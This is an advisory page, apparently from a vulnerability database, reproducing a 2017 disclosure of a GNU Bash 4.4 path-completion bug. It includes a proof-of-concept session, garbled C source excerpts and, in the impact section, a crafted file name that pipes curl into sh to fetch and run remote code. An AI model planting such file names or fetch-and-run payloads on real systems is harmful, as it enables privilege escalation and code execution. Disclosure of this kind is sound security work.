GNU/bash v4.4 autocompletion Code execution vulnerability

Risk: High
Local: Yes
Remote: No

Ogólna skala CVSS: 4.6/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

GNU Bash code execution vulnerability in path completion Jens Heyens, Ben Stock January 2017 1 Introduction GNU Bash from version 4.4 contains two bugs in its path completion feature leading to a code execution vulnerability. An exploit can be realized by creating a file or directory with a specially crafted name. A user utilizing GNU Bash’s built-in path completion by hitting the Tab button (f.e. to remove it with rm) triggers the exploit without executing a command itself. The vulnerability has been introduced on the devel-branch in May 2015. 2 Description The vulnerability occurs if a file with an opening double quote character(") followed by GNU Bash’s built-in command substitution feature (Either ‘<command>‘ or $(<command>)) is created. The double quote does not need to be closed. If a user tries to use the autocomplete feature, the command is being executed (if it does not contain a slash(/ ) character): [ h e y e n s@ b e ow ul f ] $ t o u c h ’ ” ‘ t o uc h He reBeD ragons ‘ ’ [ h e y e n s@ b e ow ul f ] $ l s −l t i n s g e s am t 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ’ ” ‘ t o uc h He reBeD ragons ‘ ’ [ h e y e n s@ b e ow ul f ] $ rm ” ‘ t o uc h He reBeD ragons ‘ ˆC [ h e y e n s@ b e ow ul f ] $ l s −l t i n s g e s am t 0 −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 4 He reBeD ragons −rw−r−−r−− 1 h e y e n s h e y e n s 0 1 7. Jan 1 6: 0 3 ’ ” ‘ t o uc h He reBeD ragons ‘ ’ 3 Cause This vulnerability has been introduced on the devel-branch in commit 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [1] and has first been inserted into the 4.4 stable version. Code locations below refer to this commit hash. There are two functions of GNU Bash’s C code leading to this vulnerability the authors considers bugs. For the sake of the argument, let us assume the attacker managed to store a file called "‘foo‘ on disk. 3.1 Double dequoting of dirname In the function bash filename stat hook, the code to check whether a file exists was previously inlined. In the commit, a call to directory exists replaces this check (both bashline.c): 3121 e l s e i f ( t = mbsch r ( l o c a l d i r n a m e , ’ ‘ ’ ) ) /∗ XXX ∗/ 3122 s h o u l d e x p a n d d i r n a m e = ’ ‘ ’ ; 3123 3124 i f ( s h o u l d e x p a n d d i r n a m e && d i r e c t o r y e x i s t s ( l o c a l d i r n a m e ) ) 3125 s h o u l d e x p a n d d i r n a m e = 0 ; 3126 3127 i f ( s h o u l d e x p a n d d i r n a m e ) 3128 { 3129 new di r name = s a v e s t r i n g ( l o c a l d i r n a m e ) ; 3130 wl = e x p a n d p r o m p t s t r i n g ( new di rname , 0 , W NOCOMSUB) ; /∗ d o e s t h e r i g h t t h i n g ∗/ Following that call, we observe that the parameter dirname is dequoted. However, at this point for a filename to be completed, quotes are already removed. 3092 /∗ F i r s t , d e q u o t e t h e d i r e c t o r y name ∗/ 3093 new di r name = b a s h d e q u o t e f i l e n a m e ( di rname , r l c o m p l e t i o n q u o t e c h a r a c t e r ) ; 3094 d i r l e n = STRLEN ( new di r name ) ; 3095 i f ( new di r name [ d i r l e n − 1] == ’ / ’ ) 3096 new di r name [ d i r l e n − 1] = ’ \0 ’ ; 3097 #i f d e f i n e d (HAVE LSTAT) 3098 r = l s t a t ( new di rname , &sb ) == 0 ; 3099 #e l s e 3100 r = s t a t ( new di rname , &sb ) == 0 ; 3101 #e n d i f 3102 f r e e ( new di r name ) ; 3103 r e t u r n ( r ) ; In essence, this means that if the dirname contains a double quote, this will be removed inside directory exists before (l)stat is called. Considering our original input, this means that new dirname contains ‘foo‘. This results in the function to return 0, since no file with the stripped name exists. Going back to the previous function, we observe that in case should expand dirname is not zero, expand prompt string is called with the directory name (line 3130). This happens in our case: the file appears to not have been found and we included a ‘ in its path. However, the correct parameter is passed to ensure that no command substitution is supposed to occur (W NOCOMSUB). This function basically passes these parameters to expand word internal (subst.c:8601) and as we’ll show in a minute, does not actually ‘[do] the right thing’. 3.2 Flags not being forwarded in expand word internal Looking at the source code of expand word internal, we observe that it has different case statements to handle, among others, quoted strings. We look at the following snippet, starting at subst.c:9009: 9009 c a s e ’ ” ’ : 9010 i f ( ( q u o te d & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && ( ( q u o te d & Q ARITH ) == 0 ) ) 9011 g o t o a d d c h a r a c t e r ; 9012 9013 t i n d e x = ++s i n d e x ; 9014 temp = s t r i n g e x t r a c t d o u b l e q u o t e d ( s t r i n g , &s i n d e x , 0 ) ; 9015 9016 /∗ I f t h e q u o t e s s u r r o u n d e d t h e e n t i r e s t r i n g , t h e n t h e 9017 w h ole word was q u o te d . ∗/ 9018 q u o t e d s t a t e = ( t i n d e x == 1 && s t r i n g [ s i n d e x ] == ’ \0 ’ ) 9019 ? WHOLLY QUOTED 9020 : PARTIALLY QUOTED ; 9021 9022 i f ( temp && ∗temp ) 9023 { 9024 tw o rd = a l l o c w o r d d e s c ( ) ; 9025 two rd−>word = temp ; 9026 9027 temp = ( c h a r ∗)NULL ; 9028 9029 t e m p h a s d o l l a r a t = 0 ; /∗ XXX ∗/ 9030 /∗ Need t o g e t W HASQUOTEDNULL f l a g t h r o u g h t h i s f u n c t i o n . ∗/ 9031 l i s t = e x p a n d w o r d i n t e r n a l ( two rd , Q DOUBLE QUOTES, 0 , & t e m p h a s d o l l a r a t , ( i n t ∗)NULL) ; In line 9014, everything between opening (and optionally closing) quotes is extracted. In line 9024, a new WORD DESC struct is allocated and the corresponding word field is set accordingly. However, the flags field is never set. In essence, even though W NOCOMSUB was set for the original string, this flag is not carried on to the newly created string. In line 9031, expand word internal is called recursively. In this case however, it will be passed ‘foo‘ without any restrictions on command substitution, resulting in the attacker’s command being executed with the privileges of the user who ran bash. 4 Impact We consider the impact of this flaw very high. Assuming an attacker has unprivileged account on a system, dropping a single file with the crafted name into a directory and asking an admin to investigate will elevate his privileges. Even though the vulnerability does not allow for a slash to be contained in the filename, exploitation is trivial: some-very-long-string-nobody-is-going-to-type"‘curl| sh‘. 5 Potential fix The issue is related to two separate bugs. Without deeper knowledge of the code base, we can only guess that passing the flags when recursively calling expand word internal should suffice to fix the issue. Nevertheless, the dequoting in directory exists in combination with a previously dequoted string should be easily fixable as well. References [1] GNU project. GNU Bash at Savannah git (devel branch). Available at Accessed: 2017-01-17.


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020,


Back to Top